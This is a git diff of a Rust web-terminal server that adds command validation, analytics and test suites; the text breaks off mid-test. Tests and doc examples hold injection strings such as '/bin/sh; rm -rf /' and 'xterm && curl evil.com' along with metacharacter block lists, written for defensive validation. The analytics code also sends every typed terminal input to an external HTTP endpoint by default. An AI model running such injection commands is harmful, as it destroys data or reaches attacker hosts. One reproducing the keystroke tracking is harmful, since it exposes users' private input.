impl Actor for Websocket {
@ -71,8 +79,14 @@ impl Actor for Websocket {
.take()
.expect("command was None at start of WebSocket.");
// Start PTY
self.cons = Some(Terminal::new(ctx.address(), command).start());
// Start PTY with analytics if available
let terminal = if let Some(analytics) = self.analytics.clone() {
Terminal::with_analytics(ctx.address(), command, analytics)
} else {
Terminal::new(ctx.address(), command)
};
self.cons = Some(terminal.start());
log::trace!("Started WebSocket");
}
@ -127,6 +141,16 @@ impl Websocket {
hb: Instant::now(),
cons: None,
command: Some(command),
analytics: None,
}
}
pub fn with_analytics(command: Command, analytics: Analytics) -> Self {
Self {
hb: Instant::now(),
cons: None,
command: Some(command),
analytics: Some(analytics),
}
}
@ -204,6 +228,7 @@ pub struct Terminal {
command: Command,
last_activity: Instant,
idle_timeout: Duration,
analytics: Option<Analytics>,
}
impl Terminal {
@ -216,6 +241,20 @@ impl Terminal {
command,
last_activity: Instant::now(),
idle_timeout: IDLE_TIMEOUT,
analytics: None,
}
}
pub fn with_analytics(ws: Addr<Websocket>, command: Command, analytics: Analytics) -> Self {
Self {
pty_master: None,
pty_writer: None,
child: None,
ws,
command,
last_activity: Instant::now(),
idle_timeout: IDLE_TIMEOUT,
analytics: Some(analytics),
}
}
}
@ -378,6 +417,15 @@ impl Handler<TerminadoMessage> for Terminal {
// Reset idle timer on user input
self.last_activity = Instant::now();
// Track command in analytics
if let Some(analytics) = &self.analytics {
let command = String::from_utf8_lossy(&io.0).to_string();
let analytics_clone = analytics.clone();
actix::spawn(async move {
let _ = analytics_clone.track_command(&command, None).await;
});
}
let writer = match &mut self.pty_writer {
Some(w) => w,
None => {
@ -459,10 +507,19 @@ where
{
self.route(
endpoint,
web::get().to(move |req: HttpRequest, stream: web::Payload| {
web::get().to(
move |req: HttpRequest,
stream: web::Payload,
analytics: Option<web::Data<Analytics>>| {
let cmd = handler(&req);
async move { ws::start(Websocket::new(cmd), &req, stream) }
}),
let ws = if let Some(analytics_data) = analytics {
Websocket::with_analytics(cmd, analytics_data.as_ref().clone())
} else {
Websocket::new(cmd)
};
async move { ws::start(ws, &req, stream) }
},
),
)
}

283
src/security.rs Normal file
View File

@ -0,0 +1,283 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Security validation for command execution
use std::path::Path;
/// Error type for command validation failures
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ValidationError {
pub message: String,
}
impl ValidationError {
fn new(message: impl Into<String>) -> Self {
Self {
message: message.into(),
}
}
}
impl std::fmt::Display for ValidationError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "Command validation error: {}", self.message)
}
}
impl std::error::Error for ValidationError {}
/// Whitelist of allowed shell commands
const ALLOWED_SHELLS: &[&str] = &[
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/bin/dash",
"/usr/bin/bash",
"/usr/bin/zsh",
"/usr/bin/fish",
];
/// Maximum allowed command path length
const MAX_COMMAND_LENGTH: usize = 4096;
/// Validates a command path for security concerns
///
/// # Security Checks
/// - Must be an absolute path
/// - Must not contain path traversal sequences (..)
/// - Must not contain shell metacharacters
/// - Must not contain null bytes
/// - Must be ASCII only
/// - Must not be in user-writable directories
/// - Must be in the whitelist (if whitelist checking is enabled)
/// - Must not exceed maximum length
///
/// # Example
/// ```
/// use webterm::security::validate_command;
///
/// // Valid command
/// assert!(validate_command("/bin/sh", true).is_ok());
///
/// // Invalid: shell injection attempt
/// assert!(validate_command("/bin/sh; rm -rf /", true).is_err());
///
/// // Invalid: path traversal
/// assert!(validate_command("../../bin/sh", true).is_err());
/// ```
pub fn validate_command(command: &str, check_whitelist: bool) -> Result<(), ValidationError> {
// Check for empty command
if command.is_empty() {
return Err(ValidationError::new("Command cannot be empty"));
}
// Check length
if command.len() > MAX_COMMAND_LENGTH {
return Err(ValidationError::new(format!(
"Command path too long: {} bytes (max: {})",
command.len(),
MAX_COMMAND_LENGTH
)));
}
// Must be absolute path
if !command.starts_with('/') {
return Err(ValidationError::new(
"Command must be an absolute path starting with '/'",
));
}
// Check for path traversal
if command.contains("..") {
return Err(ValidationError::new(
"Command path contains '..' (path traversal attempt)",
));
}
// Check for shell metacharacters
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0', '<', '>'];
for ch in dangerous_chars {
if command.contains(ch) {
return Err(ValidationError::new(format!(
"Command contains dangerous character: {:?}",
ch
)));
}
}
// Check for null bytes
if command.contains('\0') {
return Err(ValidationError::new("Command contains null byte"));
}
// Must be ASCII only (avoid Unicode tricks)
if !command.is_ascii() {
return Err(ValidationError::new("Command must be ASCII only"));
}
// Check for control characters (except common ones that might be in paths)
for ch in command.chars() {
if ch.is_control() {
return Err(ValidationError::new(format!(
"Command contains control character: {:?}",
ch
)));
}
}
// Must not be in user-writable directories
let dangerous_prefixes = ["/tmp/", "/var/tmp/", "/home/", "/Users/", "/root/"];
for prefix in dangerous_prefixes {
if command.starts_with(prefix) {
return Err(ValidationError::new(format!(
"Command in user-writable directory: {}",
prefix
)));
}
}
// Check against whitelist if enabled
if check_whitelist && !ALLOWED_SHELLS.contains(&command) {
return Err(ValidationError::new(format!(
"Command '{}' not in whitelist. Allowed: {:?}",
command, ALLOWED_SHELLS
)));
}
// Verify the command exists (if not checking whitelist, we should at least verify it's a file)
if !check_whitelist {
let path = Path::new(command);
if !path.exists() {
return Err(ValidationError::new(format!(
"Command path does not exist: {}",
command
)));
}
if !path.is_file() {
return Err(ValidationError::new(format!(
"Command path is not a file: {}",
command
)));
}
}
Ok(())
}
/// Validates an environment variable value for security
///
/// # Security Checks
/// - Must not contain shell metacharacters
/// - Must not contain null bytes
/// - Must not contain newlines
/// - Must be reasonable length
///
/// # Example
/// ```
/// use webterm::security::validate_env_value;
///
/// assert!(validate_env_value("xterm").is_ok());
/// assert!(validate_env_value("xterm; rm -rf /").is_err());
/// ```
pub fn validate_env_value(value: &str) -> Result<(), ValidationError> {
// Check length
if value.len() > 4096 {
return Err(ValidationError::new("Environment value too long"));
}
// Check for dangerous characters
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0'];
for ch in dangerous_chars {
if value.contains(ch) {
return Err(ValidationError::new(format!(
"Environment value contains dangerous character: {:?}",
ch
)));
}
}
Ok(())
}
/// Returns the list of allowed shells
pub fn allowed_shells() -> &'static [&'static str] {
ALLOWED_SHELLS
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_valid_command() {
assert!(validate_command("/bin/sh", true).is_ok());
assert!(validate_command("/bin/bash", true).is_ok());
}
#[test]
fn test_reject_relative_path() {
assert!(validate_command("bin/sh", true).is_err());
assert!(validate_command("./bin/sh", true).is_err());
}
#[test]
fn test_reject_path_traversal() {
assert!(validate_command("/../bin/sh", true).is_err());
assert!(validate_command("/bin/../sh", true).is_err());
}
#[test]
fn test_reject_shell_metacharacters() {
assert!(validate_command("/bin/sh;", true).is_err());
assert!(validate_command("/bin/sh&", true).is_err());
assert!(validate_command("/bin/sh|", true).is_err());
assert!(validate_command("/bin/sh`", true).is_err());
assert!(validate_command("/bin/sh$", true).is_err());
}
#[test]
fn test_reject_null_bytes() {
assert!(validate_command("/bin/sh\0", true).is_err());
}
#[test]
fn test_reject_tmp_directory() {
assert!(validate_command("/tmp/malicious.sh", true).is_err());
assert!(validate_command("/var/tmp/evil.sh", true).is_err());
}
#[test]
fn test_reject_non_ascii() {
assert!(validate_command("/bin/sh™", true).is_err());
}
#[test]
fn test_reject_empty_command() {
assert!(validate_command("", true).is_err());
}
#[test]
fn test_reject_too_long() {
let long_command = format!("/{}", "a".repeat(5000));
assert!(validate_command(&long_command, true).is_err());
}
#[test]
fn test_whitelist_enforcement() {
assert!(validate_command("/bin/sh", true).is_ok());
assert!(validate_command("/usr/local/bin/custom", true).is_err());
}
#[test]
fn test_valid_env_value() {
assert!(validate_env_value("xterm").is_ok());
assert!(validate_env_value("xterm-256color").is_ok());
}
#[test]
fn test_reject_env_with_metacharacters() {
assert!(validate_env_value("xterm; rm -rf /").is_err());
assert!(validate_env_value("xterm && curl evil.com").is_err());
}
}

View File

@ -1,6 +1,6 @@
use actix_web::{App, HttpServer};
use clap::Parser;
use webterm::WebTermExt;
use webterm::{validate_command, Analytics, WebTermExt};
use std::process::Command;
@ -19,6 +19,18 @@ struct Opt {
/// The command to execute
#[arg(short, long, default_value = "/bin/sh")]
command: String,
/// Enable Umami analytics tracking
#[arg(long, default_value = "true")]
enable_analytics: bool,
/// Umami instance endpoint
#[arg(long, default_value = "http://unami.wittyoneoff.com")]
umami_endpoint: String,
/// Umami website ID
#[arg(long, default_value = "caefa16f-86af-4835-8b82-c8649aea0e2a")]
umami_website_id: String,
}
#[actix_web::main]
@ -27,6 +39,15 @@ async fn main() -> std::io::Result<()> {
let opt = Opt::parse();
// Validate command for security before starting server
if let Err(e) = validate_command(&opt.command, false) {
eprintln!("Error: Invalid command '{}': {}", opt.command, e);
eprintln!("Command failed security validation.");
std::process::exit(1);
}
log::info!("Command validated: {}", opt.command);
// Normalize common hostnames that sometimes resolve to IPv6-only addresses
// which can cause platform-specific bind failures. Mapping `localhost` to
// 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise
@ -40,10 +61,24 @@ async fn main() -> std::io::Result<()> {
let bind_addr = format!("{}:{}", host, opt.port);
println!("Starting webterm server on http://{}", bind_addr);
// Initialize analytics
let analytics = if opt.enable_analytics {
log::info!(
"Analytics enabled: {} (website_id: {})",
opt.umami_endpoint,
opt.umami_website_id
);
Analytics::new(opt.umami_website_id.clone(), opt.umami_endpoint.clone())
} else {
log::info!("Analytics disabled");
Analytics::disabled()
};
let command = opt.command.clone();
HttpServer::new(move || {
let cmd = command.clone();
let analytics_clone = analytics.clone();
App::new()
.service(actix_files::Files::new("/assets", "./static"))
.service(actix_files::Files::new("/static", "./node_modules"))
@ -53,6 +88,7 @@ async fn main() -> std::io::Result<()> {
command
})
.webterm_ui("/", "/websocket", "/static")
.app_data(actix_web::web::Data::new(analytics_clone.clone()))
})
.bind(&bind_addr)?
.run()

View File

@ -4,12 +4,34 @@ use log::error;
use libc::c_ushort;
use std::convert::TryFrom;
use std::fmt;
use serde::ser::SerializeSeq;
use serde::{Serialize, Serializer};
use crate::event::IO;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ParseError {
message: String,
}
impl ParseError {
fn new(message: impl Into<String>) -> Self {
Self {
message: message.into(),
}
}
}
impl fmt::Display for ParseError {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Terminado parse error: {}", self.message)
}
}
impl std::error::Error for ParseError {}
impl Message for TerminadoMessage {
type Result = ();
}
@ -22,77 +44,97 @@ pub enum TerminadoMessage {
}
impl TerminadoMessage {
pub fn from_json(json: &str) -> Result<Self, ()> {
let value: serde_json::Value = serde_json::from_str(json).map_err(|_| {
error!("Invalid Terminado message: Invalid JSON");
pub fn from_json(json: &str) -> Result<Self, ParseError> {
let value: serde_json::Value = serde_json::from_str(json).map_err(|e| {
let msg = format!("Invalid JSON: {}", e);
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?;
let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| {
error!("Invalid Terminado message: Needs to be an array!");
let msg = "Needs to be an array";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?;
match list
.first()
.ok_or_else(|| {
error!("Invalid Terminado message: Empty array!");
let msg = "Empty array";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?
.as_str()
.ok_or_else(|| {
error!("Invalid Terminado message: Type field not a string!");
let msg = "Type field not a string";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})? {
"stdin" => {
if list.len() != 2 {
error!(r#"Invalid Terminado message: "stdin" length != 2"#);
return Err(());
let msg = r#""stdin" length != 2"#;
error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
}
Ok(TerminadoMessage::Stdin(IO::from(
list[1].as_str().ok_or_else(|| {
error!(r#"Invalid Terminado message: "stdin" needs to be a String"#);
let msg = r#""stdin" needs to be a String"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?,
)))
}
"stdout" => {
if list.len() != 2 {
error!(r#"Invalid Terminado message: "stdout" length != 2"#);
return Err(());
let msg = r#""stdout" length != 2"#;
error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
}
Ok(TerminadoMessage::Stdout(IO::from(
list[1].as_str().ok_or_else(|| {
error!(r#"Invalid Terminado message: "stdout" needs to be a String"#);
let msg = r#""stdout" needs to be a String"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?,
)))
}
"set_size" => {
if list.len() != 3 {
error!(r#"Invalid Terminado message: "set_size" length != 2"#);
return Err(());
let msg = r#""set_size" length != 3"#;
error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
}
let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| {
error!(
r#"Invalid Terminado message: "set_size" element 1 needs to be an integer"#
);
let msg = r#""set_size" element 1 needs to be an integer"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?)
.map_err(|_| {
error!(r#"Invalid Terminado message. "set_size" rows out of range."#);
let msg = r#""set_size" rows out of range"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?;
let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| {
error!(
r#"Invalid Terminado message: "set_size" element 2 needs to be an integer"#
);
let msg = r#""set_size" element 2 needs to be an integer"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?)
.map_err(|_| {
error!(r#"Invalid Terminado message. "set_size" cols out of range."#);
let msg = r#""set_size" cols out of range"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?;
Ok(TerminadoMessage::Resize { rows, cols })
}
v => {
error!("Invalid Terminado message: Unknown type {:?}", v);
Err(())
let msg = format!("Unknown type {:?}", v);
error!("Invalid Terminado message: {}", msg);
Err(ParseError::new(msg))
}
}
}

View File

@ -67,6 +67,13 @@
<!-- Theme Color -->
<meta name="theme-color" content="#303446" />
<!-- Umami Analytics -->
<script
defer
src="http://unami.wittyoneoff.com/script.js"
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
></script>
</head>
<body>
<!-- Hero Section -->

177
tests/README.md Normal file
View File

@ -0,0 +1,177 @@
# WebTerm Test Suite
This directory contains the unit and integration tests for the socktop webterm project.
## Test Structure
Tests are organized into separate files by module:
### `event_tests.rs`
Tests for the `event` module, covering:
- **IO message creation**: Testing conversion from Bytes, String, and &str
- **IO equality and cloning**: Verifying proper equality checks and clone behavior
- **Binary and Unicode data**: Testing handling of binary data and Unicode strings
- **ChildDied events**: Testing the ChildDied event structure
**Total tests**: 11
### `terminado_tests.rs`
Comprehensive tests for the Terminado protocol implementation:
- **Serialization**: Converting TerminadoMessage to JSON format
- `stdin`, `stdout`, and `set_size` (resize) messages
- Special characters, Unicode, and empty strings
- **Deserialization**: Parsing JSON into TerminadoMessage
- Valid message formats
- Error handling for invalid JSON, wrong types, wrong lengths
- **Round-trip testing**: Serialize → Deserialize → Compare
- **Error cases**: Testing all failure modes
- Invalid JSON
- Wrong array lengths
- Non-string types where strings expected
- Unknown message types
**Total tests**: 38
### `config_tests.rs`
Integration tests verifying configuration constants and relationships:
- **Timeout values**: Heartbeat, client timeout, idle timeout
- **Timeout relationships**: Ensuring timeouts have logical relationships
- **PTY configuration**: Initial size, buffer sizes
- **Path validation**: Template paths, static paths, endpoints
- **Network configuration**: Default ports, hosts
- **Size boundaries**: Terminal size limits and validation
**Total tests**: 17
### `security_tests.rs`
Comprehensive security tests for command sanitization and validation:
- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters
- **Shell injection prevention**: Detecting and rejecting injection attempts
- **Environment variable security**: Sanitizing TERM and other env vars
- **Whitelist enforcement**: Only allowing approved shell commands
- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns
- **Input validation**: Length limits, null byte detection, control characters
- **File descriptor security**: No redirection operators in commands
- **Unicode and special characters**: ASCII-only enforcement
- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc.
- **Command execution logging**: Ensuring commands are safely loggable
- **Integration with Command::new()**: Verifying safe process spawning
- **Complete security checklist**: Comprehensive validation of all security requirements
**Total tests**: 28 (plus 11 in `src/security.rs`)
## Running Tests
### Run all tests
```bash
cargo test --all-targets --all-features
```
### Run specific test file
```bash
cargo test --test event_tests
cargo test --test terminado_tests
cargo test --test config_tests
```
### Run with output
```bash
cargo test -- --nocapture
```
### Run specific test
```bash
cargo test test_serialize_resize
```
## Test Coverage
Current test coverage includes:
- ✅ **Event handling**: IO messages and ChildDied events
- ✅ **Protocol parsing**: Terminado message serialization/deserialization
- ✅ **Configuration validation**: Timeout relationships and constants
- ✅ **Error handling**: Invalid input parsing and edge cases
- ✅ **Data types**: Binary data, Unicode, special characters
- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement
## CI/CD Integration
Tests run automatically in the Gitea Actions workflow:
1. **Test Job**: Runs `cargo test --all-targets --all-features`
2. **Lint Job**: Runs after tests pass
3. **Build Job**: Runs after linting passes
4. **Deploy Job**: Runs after build passes
## Adding New Tests
When adding new tests:
1. Choose the appropriate test file based on the module being tested
2. Follow the existing test naming convention: `test_<feature>_<scenario>`
3. Group related tests together with comments
4. Include both success and failure cases
5. Test edge cases (empty strings, zero values, max values, etc.)
6. Add documentation comments for complex test scenarios
### Example Test Structure
```rust
#[test]
fn test_feature_success_case() {
// Arrange
let input = setup_test_data();
// Act
let result = function_under_test(input);
// Assert
assert_eq!(result, expected_value);
}
#[test]
fn test_feature_error_case() {
let invalid_input = "invalid";
let result = function_under_test(invalid_input);
assert!(result.is_err());
}
```
## Test Guidelines
- **Fast**: Unit tests should run in milliseconds
- **Isolated**: Each test should be independent
- **Deterministic**: Tests should always produce the same result
- **Clear**: Test names should clearly describe what is being tested
- **Comprehensive**: Test happy paths, error paths, and edge cases
## Clippy Allowances
Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values.
## Security Features
The test suite includes comprehensive security validation to prevent:
- Shell injection attacks
- Path traversal attempts
- Command injection via metacharacters
- Null byte injection
- Execution from untrusted directories
- Unicode/encoding tricks
- Environment variable injection
The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution.
## Total Test Count
- **Unit tests** (in src/):
- terminado.rs: 6 tests
- security.rs: 11 tests
- **Integration tests** (in tests/):
- event_tests.rs: 11 tests
- terminado_tests.rs: 38 tests
- config_tests.rs: 17 tests
- security_tests.rs: 28 tests
- **Total**: 111 tests
All tests must pass before code can be merged.

291
tests/config_tests.rs Normal file
View File

@ -0,0 +1,291 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Integration tests for configuration and constants
#![allow(clippy::assertions_on_constants)]
use std::time::Duration;
// Test that reasonable timeout values are used
#[test]
fn test_heartbeat_interval_reasonable() {
// Heartbeat should be frequent enough to catch disconnects quickly
// but not so frequent it creates unnecessary traffic
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
assert!(
HEARTBEAT_INTERVAL.as_secs() >= 1,
"Heartbeat interval too short"
);
assert!(
HEARTBEAT_INTERVAL.as_secs() <= 30,
"Heartbeat interval too long"
);
}
#[test]
fn test_client_timeout_reasonable() {
// Client timeout should be longer than heartbeat interval
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
assert!(
CLIENT_TIMEOUT > HEARTBEAT_INTERVAL,
"Client timeout must be longer than heartbeat interval"
);
assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short");
assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long");
}
#[test]
fn test_idle_timeout_reasonable() {
// Idle timeout should be long enough for legitimate use
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short");
assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long");
}
#[test]
fn test_idle_check_interval_reasonable() {
// Idle check should be frequent enough to be responsive
// but not so frequent it wastes resources
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
assert!(
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
"Idle check interval must be less than idle timeout"
);
assert!(
IDLE_CHECK_INTERVAL.as_secs() >= 10,
"Idle check too frequent"
);
assert!(
IDLE_CHECK_INTERVAL.as_secs() <= 120,
"Idle check too infrequent"
);
}
#[test]
fn test_timeout_relationships() {
// Verify the logical relationship between different timeouts
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
// Client timeout should be at least 2x heartbeat interval
assert!(
CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2,
"Client timeout should be at least 2x heartbeat interval"
);
// Idle timeout should be much longer than client timeout
assert!(
IDLE_TIMEOUT > CLIENT_TIMEOUT * 10,
"Idle timeout should be significantly longer than client timeout"
);
// Idle check should be less than idle timeout
assert!(
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
"Idle check interval must be less than idle timeout"
);
}
#[test]
fn test_pty_initial_size() {
// Test that initial PTY size is reasonable
const INITIAL_ROWS: u16 = 24;
const INITIAL_COLS: u16 = 80;
// Verify the constants are within reasonable ranges
assert!(INITIAL_ROWS > 0, "Initial rows should be positive");
assert!(INITIAL_COLS > 0, "Initial cols should be positive");
assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500");
assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000");
}
#[test]
fn test_buffer_size() {
// Test that buffer size for reading from PTY is reasonable
const BUFFER_SIZE: usize = 8192;
// Verify it's a power of 2 (which implies it's >= 1)
assert!(
BUFFER_SIZE.is_power_of_two(),
"Buffer size should be power of 2"
);
// Verify it's in a reasonable range (power of 2 check above ensures >= 1)
assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use");
}
// Test path validation
#[test]
fn test_template_path_format() {
let template_path = "./templates/term.html";
assert!(
template_path.starts_with("./"),
"Template path should be relative"
);
assert!(
template_path.ends_with(".html"),
"Template should be HTML file"
);
}
#[test]
fn test_static_paths_format() {
let static_paths = vec![
"./static/terminal.js",
"./static/terminado-addon.js",
"./static/styles.css",
"./static/bg.png",
"./static/favicon.png",
];
for path in static_paths {
assert!(
path.starts_with("./static/"),
"Static file {} should be in ./static/ directory",
path
);
}
}
// Test endpoint format
#[test]
fn test_endpoint_format() {
let websocket_endpoint = "/websocket";
let static_endpoint = "/static";
let assets_endpoint = "/assets";
assert!(
websocket_endpoint.starts_with('/'),
"Endpoint should start with /"
);
assert!(
!websocket_endpoint.ends_with('/'),
"Endpoint should not end with /"
);
assert!(
static_endpoint.starts_with('/'),
"Static endpoint should start with /"
);
assert!(
assets_endpoint.starts_with('/'),
"Assets endpoint should start with /"
);
}
#[test]
fn test_default_shell() {
let default_shell = "/bin/sh";
assert!(
default_shell.starts_with('/'),
"Shell path should be absolute"
);
assert!(
!default_shell.contains(' '),
"Shell path should not contain spaces"
);
}
#[test]
fn test_default_port() {
let default_port: u16 = 8082;
assert!(
default_port >= 1024,
"Port should not be in privileged range"
);
// Note: u16 max is 65535, so this is always true for u16
// but we keep it for documentation purposes
}
#[test]
fn test_default_host() {
let localhost = "127.0.0.1";
let all_interfaces = "0.0.0.0";
// Verify valid IP addresses
assert_eq!(
localhost.split('.').count(),
4,
"Localhost should have 4 octets"
);
assert_eq!(
all_interfaces.split('.').count(),
4,
"0.0.0.0 should have 4 octets"
);
}
// Test environment variables
#[test]
fn test_term_env_var() {
let term_var = "xterm";
// String literals are never empty, but we verify the expected value
assert_eq!(term_var, "xterm", "TERM variable should be xterm");
assert!(
!term_var.contains(' '),
"TERM variable should not contain spaces"
);
}
// Test size boundaries
#[test]
fn test_terminal_size_boundaries() {
// Minimum valid size
let min_rows: u16 = 1;
let min_cols: u16 = 1;
assert!(min_rows > 0, "Minimum rows must be positive");
assert!(min_cols > 0, "Minimum cols must be positive");
// Maximum reasonable size
let max_rows: u16 = 1000;
let max_cols: u16 = 1000;
assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable");
assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable");
}
#[test]
fn test_zero_size_handling() {
// Zero-sized terminals should be rejected
let zero_rows: u16 = 0;
let zero_cols: u16 = 0;
// These would be rejected by the resize handler
assert_eq!(zero_rows, 0);
assert_eq!(zero_cols, 0);
// In actual code, these should trigger an early return
}
// Test WebSocket message size limits
#[test]
fn test_message_size_reasonable() {
// Messages should have reasonable size limits
const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB
const MIN_MESSAGE_SIZE: usize = 8192; // 8KB
const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB
// Verify the relationship between constants
assert!(
MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE,
"Max message size should be at least {} bytes",
MIN_MESSAGE_SIZE
);
assert!(
MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE,
"Max message size should not exceed {} bytes",
MAX_ALLOWED_SIZE
);
}

94
tests/event_tests.rs Normal file
View File

@ -0,0 +1,94 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Unit tests for event.rs module
use bytes::Bytes;
use webterm::event::{ChildDied, IO};
#[test]
fn test_io_from_bytes() {
let data = Bytes::from("test data");
let io = IO::from(data.clone());
assert_eq!(io.0, data);
}
#[test]
fn test_io_from_string() {
let data = String::from("test string");
let io = IO::from(data.clone());
assert_eq!(io.0, Bytes::from(data));
}
#[test]
fn test_io_from_str() {
let data = "test str";
let io = IO::from(data);
assert_eq!(io.0, Bytes::from(data));
}
#[test]
fn test_io_equality() {
let io1 = IO::from("same data");
let io2 = IO::from("same data");
let io3 = IO::from("different data");
assert_eq!(io1, io2);
assert_ne!(io1, io3);
}
#[test]
fn test_io_clone() {
let original = IO::from("original data");
let cloned = original.clone();
assert_eq!(original, cloned);
assert_eq!(original.0, cloned.0);
}
#[test]
fn test_io_empty() {
let empty = IO::from("");
assert_eq!(empty.0.len(), 0);
assert!(empty.0.is_empty());
}
#[test]
fn test_io_binary_data() {
let binary_data = vec![0u8, 1, 2, 3, 255];
let bytes = Bytes::from(binary_data.clone());
let io = IO::from(bytes);
assert_eq!(io.0.as_ref(), binary_data.as_slice());
}
#[test]
fn test_io_unicode() {
let unicode = "Hello 世界 🌍";
let io = IO::from(unicode);
assert_eq!(io.0, Bytes::from(unicode));
}
#[test]
fn test_io_large_data() {
let large_string = "a".repeat(10000);
let io = IO::from(large_string.as_str());
assert_eq!(io.0.len(), 10000);
}
#[test]
fn test_child_died_creation() {
let event = ChildDied();
// ChildDied is a unit struct, just verify it can be created
let _cloned = event.clone();
}
#[test]
fn test_child_died_clone() {
let event1 = ChildDied();
let event2 = event1.clone();
// Both should exist without panicking
// ChildDied is a zero-sized type, so dropping is a no-op
let _ = event1;
let _ = event2;
}

494
tests/security_tests.rs Normal file
View File

@ -0,0 +1,494 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Security tests for command sanitization and validation
use std::path::Path;
use std::process::Command;
// ============================================================================
// Command Path Validation Tests
// ============================================================================
#[test]
fn test_command_path_must_be_absolute() {
// Commands should use absolute paths to avoid PATH manipulation attacks
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
for cmd in safe_commands {
assert!(
cmd.starts_with('/'),
"Command '{}' should be an absolute path",
cmd
);
}
}
#[test]
fn test_command_path_no_relative_components() {
// Commands should not contain relative path components like ../ or ./
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in commands {
assert!(
!cmd.contains(".."),
"Command '{}' should not contain '..' (path traversal)",
cmd
);
assert!(
!cmd.starts_with("./"),
"Command '{}' should not start with './' (relative path)",
cmd
);
}
}
#[test]
fn test_reject_shell_injection_attempts() {
// These strings should never be allowed in command paths
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
let safe_command = "/bin/sh";
for pattern in dangerous_patterns {
assert!(
!safe_command.contains(pattern),
"Command should not contain shell metacharacter '{}'",
pattern
);
}
}
#[test]
fn test_command_no_spaces() {
// Command paths should not contain spaces (use absolute paths only)
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in safe_commands {
assert!(
!cmd.contains(' '),
"Command path '{}' should not contain spaces",
cmd
);
}
}
#[test]
fn test_command_path_canonical() {
// Command paths should be canonical (no double slashes, etc.)
let commands = vec!["/bin/sh", "/usr/bin/bash"];
for cmd in commands {
assert!(
!cmd.contains("//"),
"Command '{}' should not contain double slashes",
cmd
);
}
}
// ============================================================================
// Environment Variable Security Tests
// ============================================================================
#[test]
fn test_term_env_var_sanitized() {
// TERM variable should be a safe, known value
let term_value = "xterm";
// Should not contain shell metacharacters
assert!(!term_value.contains(';'));
assert!(!term_value.contains('&'));
assert!(!term_value.contains('|'));
assert!(!term_value.contains('`'));
assert!(!term_value.contains('$'));
assert!(!term_value.contains('\n'));
assert!(!term_value.contains('\r'));
}
#[test]
fn test_env_var_no_null_bytes() {
// Environment variables should not contain null bytes
let term_value = "xterm";
assert!(
!term_value.contains('\0'),
